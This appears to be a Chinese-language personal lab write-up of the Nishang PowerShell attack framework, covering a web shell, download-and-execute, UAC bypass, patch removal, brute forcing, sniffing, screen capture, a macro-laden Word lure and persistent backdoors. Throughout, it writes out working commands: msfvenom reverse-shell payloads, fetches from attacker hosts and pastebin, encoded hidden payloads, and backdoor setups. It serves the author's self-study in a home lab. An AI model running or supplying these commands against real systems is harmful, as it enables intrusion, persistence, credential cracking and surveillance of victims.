4.4:WebShell后门
该模块存放于\nishang\Antak-WebShell
目录下,就是一个ASPX的“大马”,使用PowerShell的命令,比CMD命令要强大很多,读者可以使用这个WebShell编码执行脚本,上传、下载文件。
需要搭载IIS,用网页的形式打开。
4.5:权限提升
4.5.1:下载执行
Download_Execute是Nishang中的下载执行脚本,常用于下载文本文件,然后将其转换为可执行文件执行。
使用以下命令可利用nishang中的exetotext.ps1脚本将metasploit生成的木马shell.exe更改为文本文件shell.txt
kali ip:192.168.152.130
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.152.130 LPORT=5555 -f exe > shell.exe
然后把这个shell.exe(我这里在当前用户/root目录下,在哪运行就是在哪个目录下)复制到目标机器上,我的这里用真实机来模拟(虚拟机win10不知道咋回事,命令执行不报错,但是就是生成不了文件)
ExetoText e:\shell.exe e:\shell.txt
回到kali上,进入msfconsole,启动监听
然后回来win10上,把生成的shell.txt文件,放到kali机器上,路径为:/var/www/html
然后kali开启apache服务,指令为:service apache2 start
然后回到win10(如下图,注意路径的变化),Download_Execute http://192.168.152.130/shell.txt
kali机明显监听成功,但是会话关闭。
网上搜索,说是payload不符合导致,
但是我这都是windows的payload,反复连接,反复出错,只见session数一直增加,并且也有把reverse_tcp改成reverse_http和reverse_https 也没有成功。
4.5.2:Bypass UAC
User Account Control(用户账户控制)是微软为提高系统安全而在Windows Vista 中引入的新技术,它要求用户在执行可能会影响计算机或其他用户设置的操作之前,提供权限或管理员密码。通过在这些操作执行前对其进行验证,在未经许可的情况下,UAC可以防止恶意软件和间谍软件在计算机上进行安装或计算机进行更改。
安全控制策略分为三个等级:
- 高等级:进程具有管理员权限
- 中等级:进程拥有一个基本用户的权限
- 低等级:进程的权限受各种限制,用来保证在系统受到威胁时,使损害保持在最小。
UAC需要授权的动作包括:
- 配置window update
- 增加或删除用户账户
- 改变用户的账户类型
- 改变UAC设置
- 安装ActiveX
- 安装或卸载程序
- 安装设备驱动程序
- 设置家长控制
- 将文件移动或复制到Program Files或Windows目录
- 查看其他用户的文件夹
UAC有四种设置要求:
- 始终通知:这是最严格的设置,任何时候,当有程序要使用高级别权限时,都会提示本地用户
- 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。本地windows程序要使用高级别权限时,不通知用户。但当第三方程序要求使用高级别权限时,会提示本地用户。
- 仅在程序试图更改我的计算机时通知我(不降低桌面亮度):与上一条设置的要求相同,但提示用户时不降低桌面亮度。
- 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行。
Invoke-PsUACme模块
该模块使用了来自UACME项目的DLL来绕过UAC,作用是绕过UAC,nishang中给出的方法非常全面,列出了各种绕过UAC的方法,如下图,可以在Invoke-PsUACme
中指定相应的方法来执行。
方法名 | 将DLL写入 | DLL名字 | 可用于的程序 |
---|---|---|---|
sysprep | c:\windows\system32\sysprep\ | CRYPTABASE.dll 对于windows7,shcore.dll 对于windows8 | c:\windows\system32\sysprep\sysprep.exe |
oobe | c:\windows\system32\oobe\ | wdscore.dll 对于windows7,8和10 | c:\windows\system32\oobe\setuppsqm.exe |
actionqueue | c:\windows\system32\sysprep | ActionQueue.dll仅仅对于Windows7 | c:\windows\system32\sysprep\sysprep.exe |
migwiz | c:\windows\system32\migwiz\ | wdscore.dll对于windows7和windows8 | c:\windows\system32\migwiz.exe |
cliconfg | c:\windows\system32\ | ntwdblib.dll 对于windows7,8,10 | c:\windows\system32\cliconfg.exe |
winsat | c:\windows\system32\sysprep\copywinsat.exe from c:\windows\system32\to c:\windows\system32\sysprep\ | ntwdblib.dll 对于windows7 devobj.dll对于 windows8、10 | c:\windows\system32\sysprep\winsat.exe |
mmc | c:\windows\system32\ | ntwdblib 对于windows7 elsext.dll 对于windows8 和10 | c:\windows\system32\mmc.exe eventvwr |
查看源码:
Invoke-PsUACme -Verbose # 使用sysprep方法并执行默认的payload
Invoke-PsUACme -method oobe -Verbose # 使用oobe方法并执行默认的payload
Invoke-PsUACme -method oobe -Payload "powershell-windowstyle hidden -e xxx" # xxx 代表你的编码后的payload,如上图。
4.5.3:删除补丁
这个脚本可以帮助我们移除系统所有的更新或所有安全更新,以及指定编号的更新。
可以在cmd命令行输入systeminfo
查看补丁安装情况
remove-update all # 移除目标机器上的所有更新
remove-update security # 移除目标机器上的所有与安全相关更新
remove-update KB2761226 # 移除指定编号的更新
4.5.4:其他功能
1、端口扫描(Invoke-PortScan)
invoke-portscan是nishang的端口扫描脚本,它用于发现主机、解析主机名、端口扫描,是实战中一个很实用的脚本。
具体的参数介绍如下:
- StartAddress # 扫描范围开始的地址
- EndAddress # 扫描范围结束的地址
- ScanPort # 进行端口扫描
- Port # 指定扫描端口
- TimeOut # 设置超时时间
个人感觉速度有点慢。
2、爆破破解(Invoke-BruteForce)
invoke-bruteforce是nishang中专注于暴力破解的脚本,它用于对SQL Server、域控制器、Web及FTP弱口令爆破。
PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose
爆破SQL Server
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose
爆破域控制器
PS > Invoke-BruteForce -ComputerName targetmachine -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service LocalAccounts -StopOnSuccess -Verbose
指定了用户名和字典,又因为设置了 StopOnSuccess,因此暴力强制在第一次成功时停止。
.EXAMPLE
PS > cat C:\test\servers.txt | Invoke-BruteForce -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose
爆破server.txt中所有servers的SQL Server
3、嗅探
内网嗅探的使用方法比较简单,但是动静很大,在实在没有办法的时候,可以尝试一下。
在目标机器上执行以下命令:
Invoke-Interceptor -ProxyServer 192.168.152.130 -ProxyPort 3128
然后再kali上,监听3128端口。netcat -lvvp 3128
这里书本上没有写详细,我还一直在这里等待,等半天没有反应,【捂脸】
打开源码发现,其实需要用到浏览器设置代理的问题。
我以火狐为例:
然后在浏览器输入网址
4、屏幕窃取
Show-TargetScreen 脚本使用MJPEG传输目标机的远程桌面的实时画面,在本机可以使用NC或者PowerCat进行监听。在本地使用支持MJPEG的浏览器(如Firefox)访问本机对应监听端口,即可在浏览器上看到从远端传输回来的实时画面,正向反向均可。
攻击者kali(ip:192.168.152.130):nc -nvlp 4456 | nc -nvlp 9000
受害者win10:Show-TargetScreen -IPAddres 192.168.152.130 -Port 4456 -Reverse
受害者将自己的桌面传输到攻击者的4456端口,攻击者把监听转移到9000端口,用浏览器查看截图结果
画面试试显示:
然后我又试了一下,把自己的真实机当作受害者。 好家伙,无限实时套娃,把CPU干满了。。【捂脸】
如果攻击者kali只写这个命令:``nc -nvlp 4456`,则右边窗口画面一直在乱码滚动。
5、生成木马
nishang 中还有各种脚本,它们可以感染各种文件,如HTA、Word,用于执行PowerShell脚本,可以神不知鬼不觉的发动攻击,此脚本的所有类型如下图所示。
参数介绍:
参数 | 说明 |
---|---|
Payload | 后面直接加payload,需要注意引号的闭合(注意这句话,后面有个坑) |
PayloadURL | 传入远程的Payload进行生成 |
PayloadScript | 指定本地的脚本进行生成 |
Arguments | 之后将要执行的函数(得是payload有的函数) |
OutputFile | 输出的文件名 |
WordFileDir | 输出的目录地址 |
Recurse | 在WordFileDir中递归寻找Word文件 |
RemoveDocx | 创建完成后删除原始文件 |
各个脚本的使用方法基本相同,这里以生成受感染的word为例。
首先输入指令,监听4444端口。nc -lvp 4444
接着制作word文件,打开nishang\shells\Invoke-PowerShellTcpOneLine.ps1
这个文件,复制第三行的内容,可以看到中间有一个TcpClient的参数,这里就是远程连接的地址了。
这里需要将这个地址和端口改成本机的IP和你监听的端口,改完以后复制该代码,在命令行下输入以下命令。
Invoke-Encode -DataToEncode '复制的代码' -IsString -PostScript
注意,复制的代码外边的引号,一开始报错,找了半天也找不到啥,网上我也没找到这一小节内容,后来喝了杯水突然发现,如果是单引号的话会导致,引号的闭合出现问题,所以改用了双引号,运行成功。
并且有些地方很坑,比如下面这个图,这里用单引号就完全没有问题,红框里面用的是双引号。
执行完成之后,会在当前目录下生成两个文件,encoded.txt
,encodedcommand.txt
接着执行Out-Word -PayloadScript .\encodedcommand.txt
,
以为大功告成了,然后一大串报错,人麻了
输入下列指令,模块不兼容
此处,假装接着执行Out-Word -PayloadScript .\encodedcommand.txt
成功
那么就会在当前文件夹下生成一个名为Salary_Details的doc文件。目标用户打开word以后,会反弹shell,在启用宏的计算机上没有任何提示,未启用宏的计算机会有启用宏的提示。
6、后门
1、HTTP-Backdoor
http-backdoor可以帮助我们在目标机器上下载和执行PowerShell 脚本,接收来自第三方网站的指令,然后在内存中执行PowerShell脚本。
HTTP-Backdoor -CheckURL http://xxx -PayloadURL http://yyy -MagicString start123 -StopString stopthis
checkurl:给出一个url地址,如果存在,magicstring中的值就执行payload来下载、运行我们的脚本
payloadurl:给出需要下载的PowerShell脚本的地址
arguments:指定要执行的函数
stopstring:判断是否存在checkurl返回的字符串,如果存在则停止执行。
2、Add-ScrnSaveBackdoor
该脚本可以帮助我们利用Windows的屏保来留一个隐藏的后门
下面是源码举例的内容
.EXAMPLE
PS > Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/FireBuster.ps1 -Arguments "FireBuster 192.168.254.1 8440-8445"
Use above to execute FireBuster from Nishang for Egress Testing.
.EXAMPLE
PS > Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis
Use above to execute HTTP-Backdoor from Powerpreter
.EXAMPLE
PS > Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1
Use above to execute an in-memory meterpreter in PowerShell format generated using msfvenom
(./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell)
3、Execute-OnTime
该脚本可以在目标机上指定PowerShell脚本的执行时间,与HTTP-Backdoor的使用方法相似,只不过多了定时功能。
PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload
使用来自非交互式 shell 的有效负载时,请使用上述内容。
payloadurl:指定脚本下载的地址
arguments:指定执行的函数
time:设定脚本执行的时间(例如:-Time 23:21)
checkurl:会检测一个指定的URL内容里是否存在StopString给出的字符串,如果发现了就会停止执行。
4、Invoke-ADSBackdoor
这个脚本使用NTFS数据流留下一个永久性的后门。可以向ADS中注入代码并且以普通用户的权限执行,输入以下命令即可执行该脚本。
PS > Invoke-ADSBackdoor -PayloadURL http://192.168.1.138/payload.ps1
使用上面的命令在 payload.ps1中建立永久性
执行该脚本后,如果目标用户手动找,根本找不到任何东西,使用命令dir /a /r
才能看到被写入的文件。
五:总结
这一节内容太累了,各种报错,各种少文件,各种不兼容,你能看到这里 我也是服了你了。。
溜了溜了~~~~,有机会再续补内容~~~~